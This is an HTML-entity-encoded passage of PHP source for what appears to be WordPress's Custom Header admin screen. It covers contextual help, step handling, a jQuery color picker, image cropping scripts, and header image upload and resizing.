array(&amp;amp;$this, 'help') );&#xA;        add_action(&quot;admin_head-$page&quot;, array(&amp;amp;$this, 'take_action'), 50);&#xA;        add_action(&quot;admin_head-$page&quot;, array(&amp;amp;$this, 'js'), 50);&#xA;        add_action(&quot;admin_head-$page&quot;, $this-&amp;gt;admin_header_callback, 51);&#xA;    }&#xA;&#xA;    /**&#xA;     * Adds contextual help.&#xA;     *&#xA;     * @since 3.0.0&#xA;     */&#xA;    function help() {&#xA;        add_contextual_help( $this-&amp;gt;page, '&amp;lt;p&amp;gt;' . __( 'You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately.' ) . '&amp;lt;/p&amp;gt;' .&#xA;        '&amp;lt;p&amp;gt;' . __( 'If you want to discard your custom header and go back to the default included in your theme, click on the buttons to remove the custom image and restore the original header image.' ) . '&amp;lt;/p&amp;gt;' .&#xA;        '&amp;lt;p&amp;gt;' . __( 'Some themes come with additional header images bundled. If you see multiple images displayed, select the one you&amp;amp;#8217;d like and click the Save Changes button.' ) . '&amp;lt;/p&amp;gt;' .&#xA;        '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;' . __( 'For more information:' ) . '&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;' .&#xA;        '&amp;lt;p&amp;gt;' . __( '&amp;lt;a href=&quot;http://codex.wordpress.org/Appearance_Header_SubPanel&quot; target=&quot;_blank&quot;&amp;gt;Documentation on Custom Header&amp;lt;/a&amp;gt;' ) . '&amp;lt;/p&amp;gt;' .&#xA;        '&amp;lt;p&amp;gt;' . __( '&amp;lt;a href=&quot;http://wordpress.org/support/&quot; target=&quot;_blank&quot;&amp;gt;Support Forums&amp;lt;/a&amp;gt;' ) . '&amp;lt;/p&amp;gt;' );&#xA;    }&#xA;&#xA;    /**&#xA;     * Get the current step.&#xA;     *&#xA;     * @since 2.6.0&#xA;     *&#xA;     * @return int Current step&#xA;     */&#xA;    function step() {&#xA;        if ( ! isset( $_GET['step'] ) )&#xA;            return 1;&#xA;&#xA;        $step = (int) $_GET['step'];&#xA;        if ( $step &amp;lt; 1 || 3 &amp;lt; $step )&#xA;            $step = 1;&#xA;&#xA;        return $step;&#xA;    }&#xA;&#xA;    /**&#xA;     * Set up the enqueue for the JavaScript files.&#xA;     *&#xA;     * @since 2.1.0&#xA;     */&#xA;    function js_includes() {&#xA;        $step = $this-&amp;gt;step();&#xA;&#xA;        if ( ( 1 == $step || 3 == $step ) &amp;amp;&amp;amp; $this-&amp;gt;header_text() )&#xA;            wp_enqueue_script('farbtastic');&#xA;        elseif ( 2 == $step )&#xA;            wp_enqueue_script('imgareaselect');&#xA;    }&#xA;&#xA;    /**&#xA;     * Set up the enqueue for the CSS files&#xA;     *&#xA;     * @since 2.7&#xA;     */&#xA;    function css_includes() {&#xA;        $step = $this-&amp;gt;step();&#xA;&#xA;        if ( ( 1 == $step || 3 == $step ) &amp;amp;&amp;amp; $this-&amp;gt;header_text() )&#xA;            wp_enqueue_style('farbtastic');&#xA;        elseif ( 2 == $step )&#xA;            wp_enqueue_style('imgareaselect');&#xA;    }&#xA;&#xA;    /**&#xA;     * Check if header text is allowed&#xA;     *&#xA;     * @since 3.0.0&#xA;     */&#xA;    function header_text() {&#xA;        if ( defined( 'NO_HEADER_TEXT' ) &amp;amp;&amp;amp; NO_HEADER_TEXT )&#xA;            return false;&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Execute custom header modification.&#xA;     *&#xA;     * @since 2.6.0&#xA;     */&#xA;    function take_action() {&#xA;        if ( ! current_user_can('edit_theme_options') )&#xA;            return;&#xA;&#xA;        if ( empty( $_POST ) )&#xA;            return;&#xA;&#xA;        $this-&amp;gt;updated = true;&#xA;&#xA;        if ( isset( $_POST['resetheader'] ) ) {&#xA;            check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );&#xA;            remove_theme_mod( 'header_image' );&#xA;            return;&#xA;        }&#xA;&#xA;        if ( isset( $_POST['resettext'] ) ) {&#xA;            check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );&#xA;            remove_theme_mod('header_textcolor');&#xA;            return;&#xA;        }&#xA;&#xA;        if ( isset( $_POST['removeheader'] ) ) {&#xA;            check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );&#xA;            set_theme_mod( 'header_image', '' );&#xA;            return;&#xA;        }&#xA;&#xA;        if ( isset( $_POST['text-color'] ) ) {&#xA;            check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );&#xA;            $_POST['text-color'] = str_replace( '#', '', $_POST['text-color'] );&#xA;            if ( 'blank' == $_POST['text-color'] ) {&#xA;                set_theme_mod( 'header_textcolor', 'blank' );&#xA;            } else {&#xA;                $color = preg_replace('/[^0-9a-fA-F]/', '', $_POST['text-color']);&#xA;                if ( strlen($color) == 6 || strlen($color) == 3 )&#xA;                    set_theme_mod('header_textcolor', $color);&#xA;            }&#xA;        }&#xA;&#xA;        if ( isset($_POST['default-header']) ) {&#xA;            check_admin_referer( 'custom-header-options', '_wpnonce-custom-header-options' );&#xA;            $this-&amp;gt;process_default_headers();&#xA;            if ( isset($this-&amp;gt;default_headers[$_POST['default-header']]) )&#xA;                set_theme_mod('header_image', esc_url($this-&amp;gt;default_headers[$_POST['default-header']]['url']));&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Process the default headers&#xA;     *&#xA;     * @since 3.0.0&#xA;     */&#xA;    function process_default_headers() {&#xA;        global $_wp_default_headers;&#xA;&#xA;        if ( !empty($this-&amp;gt;headers) )&#xA;            return;&#xA;&#xA;        if ( !isset($_wp_default_headers) )&#xA;            return;&#xA;&#xA;        $this-&amp;gt;default_headers = $_wp_default_headers;&#xA;        foreach ( array_keys($this-&amp;gt;default_headers) as $header ) {&#xA;            $this-&amp;gt;default_headers[$header]['url'] =  sprintf( $this-&amp;gt;default_headers[$header]['url'], get_template_directory_uri(), get_stylesheet_directory_uri() );&#xA;            $this-&amp;gt;default_headers[$header]['thumbnail_url'] =  sprintf( $this-&amp;gt;default_headers[$header]['thumbnail_url'], get_template_directory_uri(), get_stylesheet_directory_uri() );&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Display UI for selecting one of several default headers.&#xA;     *&#xA;     * @since 3.0.0&#xA;     */&#xA;    function show_default_header_selector() {&#xA;        echo '&amp;lt;div id=&quot;available-headers&quot;&amp;gt;';&#xA;        foreach ( $this-&amp;gt;default_headers as $header_key =&amp;gt; $header ) {&#xA;            $header_thumbnail = $header['thumbnail_url'];&#xA;            $header_url = $header['url'];&#xA;            $header_desc = $header['description'];&#xA;            echo '&amp;lt;div class=&quot;default-header&quot;&amp;gt;';&#xA;            echo '&amp;lt;label&amp;gt;&amp;lt;input name=&quot;default-header&quot; type=&quot;radio&quot; value=&quot;' . esc_attr($header_key) . '&quot; ' . checked($header_url, get_theme_mod( 'header_image' ), false) . ' /&amp;gt;';&#xA;            echo '&amp;lt;img src=&quot;' . $header_thumbnail . '&quot; alt=&quot;' . esc_attr($header_desc) .'&quot; title=&quot;' . esc_attr($header_desc) .'&quot; /&amp;gt;&amp;lt;/label&amp;gt;';&#xA;            echo '&amp;lt;/div&amp;gt;';&#xA;        }&#xA;        echo '&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    /**&#xA;     * Execute Javascript depending on step.&#xA;     *&#xA;     * @since 2.1.0&#xA;     */&#xA;    function js() {&#xA;        $step = $this-&amp;gt;step();&#xA;        if ( ( 1 == $step || 3 == $step ) &amp;amp;&amp;amp; $this-&amp;gt;header_text() )&#xA;            $this-&amp;gt;js_1();&#xA;        elseif ( 2 == $step )&#xA;            $this-&amp;gt;js_2();&#xA;    }&#xA;&#xA;    /**&#xA;     * Display Javascript based on Step 1 and 3.&#xA;     *&#xA;     * @since 2.6.0&#xA;     */&#xA;    function js_1() { ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;    var text_objects = ['#name', '#desc', '#text-color-row'];&#xA;    var farbtastic;&#xA;    var default_color = '#&amp;lt;?php echo HEADER_TEXTCOLOR; ?&amp;gt;';&#xA;    var old_color = null;&#xA;&#xA;    function pickColor(color) {&#xA;        jQuery('#name').css('color', color);&#xA;        jQuery('#desc').css('color', color);&#xA;        jQuery('#text-color').val(color);&#xA;        farbtastic.setColor(color);&#xA;    }&#xA;&#xA;    function toggle_text(s) {&#xA;        if (jQuery(s).attr('id') == 'showtext' &amp;amp;&amp;amp; jQuery('#text-color').val() != 'blank')&#xA;            return;&#xA;&#xA;        if (jQuery(s).attr('id') == 'hidetext' &amp;amp;&amp;amp; jQuery('#text-color').val() == 'blank')&#xA;            return;&#xA;&#xA;        if (jQuery('#text-color').val() == 'blank') {&#xA;            //Show text&#xA;            if (old_color == '#blank')&#xA;                old_color = default_color;&#xA;&#xA;            jQuery( text_objects.toString() ).show();&#xA;            jQuery('#text-color').val(old_color);&#xA;            jQuery('#name').css('color', old_color);&#xA;            jQuery('#desc').css('color', old_color);&#xA;            pickColor(old_color);&#xA;        } else {&#xA;            //Hide text&#xA;            jQuery( text_objects.toString() ).hide();&#xA;            old_color = jQuery('#text-color').val();&#xA;            jQuery('#text-color').val('blank');&#xA;        }&#xA;    }&#xA;&#xA;    jQuery(document).ready(function() {&#xA;        jQuery('#pickcolor').click(function() {&#xA;            jQuery('#color-picker').show();&#xA;        });&#xA;&#xA;        jQuery('input[name=&quot;hidetext&quot;]').click(function() {&#xA;            toggle_text(this);&#xA;        });&#xA;&#xA;        jQuery('#defaultcolor').click(function() {&#xA;            pickColor(default_color);&#xA;            jQuery('#text-color').val(default_color)&#xA;        });&#xA;&#xA;        jQuery('#text-color').keyup(function() {&#xA;            var _hex = jQuery('#text-color').val();&#xA;            var hex = _hex;&#xA;            if ( hex[0] != '#' )&#xA;                hex = '#' + hex;&#xA;            hex = hex.replace(/[^#a-fA-F0-9]+/, '');&#xA;            if ( hex != _hex )&#xA;                jQuery('#text-color').val(hex);&#xA;            if ( hex.length == 4 || hex.length == 7 )&#xA;                pickColor( hex );&#xA;        });&#xA;&#xA;        jQuery(document).mousedown(function(){&#xA;            jQuery('#color-picker').each( function() {&#xA;                var display = jQuery(this).css('display');&#xA;                if (display == 'block')&#xA;                    jQuery(this).fadeOut(2);&#xA;            });&#xA;        });&#xA;&#xA;        farbtastic = jQuery.farbtastic('#color-picker', function(color) { pickColor(color); });&#xA;        &amp;lt;?php if ( $color = get_theme_mod('header_textcolor', HEADER_TEXTCOLOR) ) { ?&amp;gt;&#xA;        pickColor('#&amp;lt;?php echo $color; ?&amp;gt;');&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( 'blank' == get_theme_mod( 'header_textcolor', HEADER_TEXTCOLOR ) || '' == get_theme_mod('header_textcolor', HEADER_TEXTCOLOR) || ! $this-&amp;gt;header_text() ) { ?&amp;gt;&#xA;        toggle_text();&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;        });&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;&#xA;    /**&#xA;     * Display Javascript based on Step 2.&#xA;     *&#xA;     * @since 2.6.0&#xA;     */&#xA;    function js_2() { ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;    function onEndCrop( coords ) {&#xA;        jQuery( '#x1' ).val(coords.x);&#xA;        jQuery( '#y1' ).val(coords.y);&#xA;        jQuery( '#width' ).val(coords.w);&#xA;        jQuery( '#height' ).val(coords.h);&#xA;    }&#xA;&#xA;    jQuery(document).ready(function() {&#xA;        var xinit = &amp;lt;?php echo HEADER_IMAGE_WIDTH; ?&amp;gt;;&#xA;        var yinit = &amp;lt;?php echo HEADER_IMAGE_HEIGHT; ?&amp;gt;;&#xA;        var ratio = xinit / yinit;&#xA;        var ximg = jQuery('img#upload').width();&#xA;        var yimg = jQuery('img#upload').height();&#xA;&#xA;        if ( yimg &amp;lt; yinit || ximg &amp;lt; xinit ) {&#xA;            if ( ximg / yimg &amp;gt; ratio ) {&#xA;                yinit = yimg;&#xA;                xinit = yinit * ratio;&#xA;            } else {&#xA;                xinit = ximg;&#xA;                yinit = xinit / ratio;&#xA;            }&#xA;        }&#xA;&#xA;        jQuery('img#upload').imgAreaSelect({&#xA;            handles: true,&#xA;            keys: true,&#xA;            aspectRatio: xinit + ':' + yinit,&#xA;            show: true,&#xA;            x1: 0,&#xA;            y1: 0,&#xA;            x2: xinit,&#xA;            y2: yinit,&#xA;            maxHeight: &amp;lt;?php echo HEADER_IMAGE_HEIGHT; ?&amp;gt;,&#xA;            maxWidth: &amp;lt;?php echo HEADER_IMAGE_WIDTH; ?&amp;gt;,&#xA;            onInit: function () {&#xA;                jQuery('#width').val(xinit);&#xA;                jQuery('#height').val(yinit);&#xA;            },&#xA;            onSelectChange: function(img, c) {&#xA;                jQuery('#x1').val(c.x1);&#xA;                jQuery('#y1').val(c.y1);&#xA;                jQuery('#width').val(c.width);&#xA;                jQuery('#height').val(c.height);&#xA;            }&#xA;        });&#xA;    });&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;&#xA;    /**&#xA;     * Display first step of custom header image page.&#xA;     *&#xA;     * @since 2.1.0&#xA;     */&#xA;    function step_1() {&#xA;        $this-&amp;gt;process_default_headers();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&amp;lt;?php screen_icon(); ?&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php _e('Custom Header'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;?php if ( ! empty( $this-&amp;gt;updated ) ) { ?&amp;gt;&#xA;&amp;lt;div id=&quot;message&quot; class=&quot;updated&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php printf( __( 'Header updated. &amp;lt;a href=&quot;%s&quot;&amp;gt;Visit your site&amp;lt;/a&amp;gt; to see how it looks.' ), home_url( '/' ) ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;&amp;lt;?php _e( 'Header Image' ) ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;&#xA;&#xA;&amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'Preview' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td &amp;gt;&#xA;    &amp;lt;?php if ( $this-&amp;gt;admin_image_div_callback ) {&#xA;      call_user_func( $this-&amp;gt;admin_image_div_callback );&#xA;    } else {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div id=&quot;headimg&quot; style=&quot;max-width:&amp;lt;?php echo HEADER_IMAGE_WIDTH; ?&amp;gt;px;height:&amp;lt;?php echo HEADER_IMAGE_HEIGHT; ?&amp;gt;px;background-image:url(&amp;lt;?php esc_url ( header_image() ) ?&amp;gt;);&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;        if ( 'blank' == get_theme_mod('header_textcolor', HEADER_TEXTCOLOR) || '' == get_theme_mod('header_textcolor', HEADER_TEXTCOLOR) || ! $this-&amp;gt;header_text() )&#xA;            $style = ' style=&quot;display:none;&quot;';&#xA;        else&#xA;            $style = ' style=&quot;color:#' . get_theme_mod( 'header_textcolor', HEADER_TEXTCOLOR ) . ';&quot;';&#xA;        ?&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;a id=&quot;name&quot;&amp;lt;?php echo $style; ?&amp;gt; onclick=&quot;return false;&quot; href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php bloginfo( 'name' ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;div id=&quot;desc&quot;&amp;lt;?php echo $style; ?&amp;gt;&amp;gt;&amp;lt;?php bloginfo( 'description' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'Upload Image' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e( 'You can upload a custom header image to be shown at the top of your site instead of the default one. On the next screen you will be able to crop the image.' ); ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;?php printf( __( 'Images of exactly &amp;lt;strong&amp;gt;%1$d &amp;amp;times; %2$d pixels&amp;lt;/strong&amp;gt; will be used as-is.' ), HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;form enctype=&quot;multipart/form-data&quot; id=&quot;upload-form&quot; method=&quot;post&quot; action=&quot;&amp;lt;?php echo esc_attr( add_query_arg( 'step', 2 ) ) ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;upload&quot;&amp;gt;&amp;lt;?php _e( 'Choose an image from your computer:' ); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;file&quot; id=&quot;upload&quot; name=&quot;import&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;save&quot; /&amp;gt;&#xA;        &amp;lt;?php wp_nonce_field( 'custom-header-upload', '_wpnonce-custom-header-upload' ) ?&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;&amp;lt;?php esc_attr_e( 'Upload' ); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo esc_attr( add_query_arg( 'step', 1 ) ) ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;    &amp;lt;?php if ( ! empty( $this-&amp;gt;default_headers ) ) : ?&amp;gt;&#xA;&amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'Default Images' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e( 'If you don&amp;amp;lsquo;t want to upload your own image, you can use one of these cool headers.' ) ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;        $this-&amp;gt;show_default_header_selector();&#xA;    ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php endif;&#xA;&#xA;    if ( get_header_image() ) : ?&amp;gt;&#xA;&amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'Remove Image' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e( 'This will remove the header image. You will not be able to restore any customizations.' ) ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; name=&quot;removeheader&quot; value=&quot;&amp;lt;?php esc_attr_e( 'Remove Header Image' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php endif;&#xA;&#xA;    if ( defined( 'HEADER_IMAGE' ) ) : ?&amp;gt;&#xA;&amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'Reset Image' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e( 'This will restore the original header image. You will not be able to restore any customizations.' ) ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; name=&quot;resetheader&quot; value=&quot;&amp;lt;?php esc_attr_e( 'Restore Original Header Image' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( $this-&amp;gt;header_text() ) : ?&amp;gt;&#xA;&amp;lt;h3&amp;gt;&amp;lt;?php _e( 'Header Text' ) ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;&amp;lt;tr valign=&quot;top&quot; class=&quot;hide-if-no-js&quot;&amp;gt;&#xA;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'Display Text' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;    &amp;lt;?php $hidetext = get_theme_mod( 'header_textcolor', HEADER_TEXTCOLOR ); ?&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; value=&quot;1&quot; name=&quot;hidetext&quot; id=&quot;hidetext&quot;&amp;lt;?php checked( ( 'blank' == $hidetext || empty( $hidetext ) )  ? true : false ); ?&amp;gt; /&amp;gt; &amp;lt;?php _e( 'No' ); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; value=&quot;0&quot; name=&quot;hidetext&quot; id=&quot;showtext&quot;&amp;lt;?php checked( ( 'blank' == $hidetext || empty( $hidetext ) ) ? false : true ); ?&amp;gt; /&amp;gt; &amp;lt;?php _e( 'Yes' ); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr valign=&quot;top&quot; id=&quot;text-color-row&quot;&amp;gt;&#xA;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'Text Color' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;text-color&quot; id=&quot;text-color&quot; value=&quot;#&amp;lt;?php echo esc_attr( get_theme_mod( 'header_textcolor', HEADER_TEXTCOLOR ) ); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;span class=&quot;description hide-if-js&quot;&amp;gt;&amp;lt;?php _e( 'If you want to hide header text, add &amp;lt;strong&amp;gt;#blank&amp;lt;/strong&amp;gt; as text color.' );?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;button&quot; class=&quot;button hide-if-no-js&quot; value=&quot;&amp;lt;?php esc_attr_e( 'Select a Color' ); ?&amp;gt;&quot; id=&quot;pickcolor&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;div id=&quot;color-picker&quot; style=&quot;z-index: 100; background:#eee; border:1px solid #ccc; position:absolute; display:none;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( defined('HEADER_TEXTCOLOR') &amp;amp;&amp;amp; get_theme_mod('header_textcolor') ) { ?&amp;gt;&#xA;&amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e('Reset Text Color'); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e( 'This will restore the original header text. You will not be able to restore any customizations.' ) ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; name=&quot;resettext&quot; value=&quot;&amp;lt;?php esc_attr_e( 'Restore Original Header Text' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;    &amp;lt;?php endif;&#xA;&#xA;wp_nonce_field( 'custom-header-options', '_wpnonce-custom-header-options' ); ?&amp;gt;&#xA;&amp;lt;p class=&quot;submit&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; name=&quot;save-header-options&quot; value=&quot;&amp;lt;?php esc_attr_e( 'Save Changes' ); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php }&#xA;&#xA;    /**&#xA;     * Display second step of custom header image page.&#xA;     *&#xA;     * @since 2.1.0&#xA;     */&#xA;    function step_2() {&#xA;        check_admin_referer('custom-header-upload', '_wpnonce-custom-header-upload');&#xA;        $overrides = array('test_form' =&amp;gt; false);&#xA;        $file = wp_handle_upload($_FILES['import'], $overrides);&#xA;&#xA;        if ( isset($file['error']) )&#xA;            wp_die( $file['error'],  __( 'Image Upload Error' ) );&#xA;&#xA;        $url = $file['url'];&#xA;        $type = $file['type'];&#xA;        $file = $file['file'];&#xA;        $filename = basename($file);&#xA;&#xA;        // Construct the object array&#xA;        $object = array(&#xA;        'post_title' =&amp;gt; $filename,&#xA;        'post_content' =&amp;gt; $url,&#xA;        'post_mime_type' =&amp;gt; $type,&#xA;        'guid' =&amp;gt; $url);&#xA;&#xA;        // Save the data&#xA;        $id = wp_insert_attachment($object, $file);&#xA;&#xA;        list($width, $height, $type, $attr) = getimagesize( $file );&#xA;&#xA;        if ( $width == HEADER_IMAGE_WIDTH &amp;amp;&amp;amp; $height == HEADER_IMAGE_HEIGHT ) {&#xA;            // Add the meta-data&#xA;            wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );&#xA;&#xA;            set_theme_mod('header_image', esc_url($url));&#xA;            do_action('wp_create_file_in_uploads', $file, $id); // For replication&#xA;            return $this-&amp;gt;finished();&#xA;        } elseif ( $width &amp;gt; HEADER_IMAGE_WIDTH ) {&#xA;            $oitar = $width / HEADER_IMAGE_WIDTH;&#xA;            $image = wp_crop_image($file, 0, 0, $width, $height, HEADER_IMAGE_WIDTH, $height / $oitar, false, str_replace(basename($file), 'midsize-'.basename($file), $file));&#xA;            if ( is_wp_error( $image ) )&#xA;                wp_die( __( 'Image could not be processed.  Please go back and try again.' ), __( 'Image Processing Error' ) );&#xA;&#xA;            $image = apply_filters('wp_create_file_in_uploads', $image, $id); // For replication&#xA;&#xA;            $url = str_replace(basename($url), basename($image), $url);&#xA;            $width = $width / $oitar;&#xA;            $height = $height / $oitar;&#xA;        } else {&#xA;            $oitar = 1;&#xA;        }&#xA;        ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&amp;lt;?php screen_icon(); ?&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php _e( 'Crop Header Image' ); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo esc_attr(add_query_arg('step', 3)); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;hide-if-no-js&quot;&amp;gt;&amp;lt;?php _e('Choose the part of the image you want to use as your header.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p class=&quot;hide-if-js&quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e( 'You need Javascript to choose a part of the image.'); ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;crop_image&quot; style=&quot;position: relative&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo esc_url( $url ); ?&amp;gt;&quot; id=&quot;upload&quot; width=&quot;&amp;lt;?php echo $width; ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo $height; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;  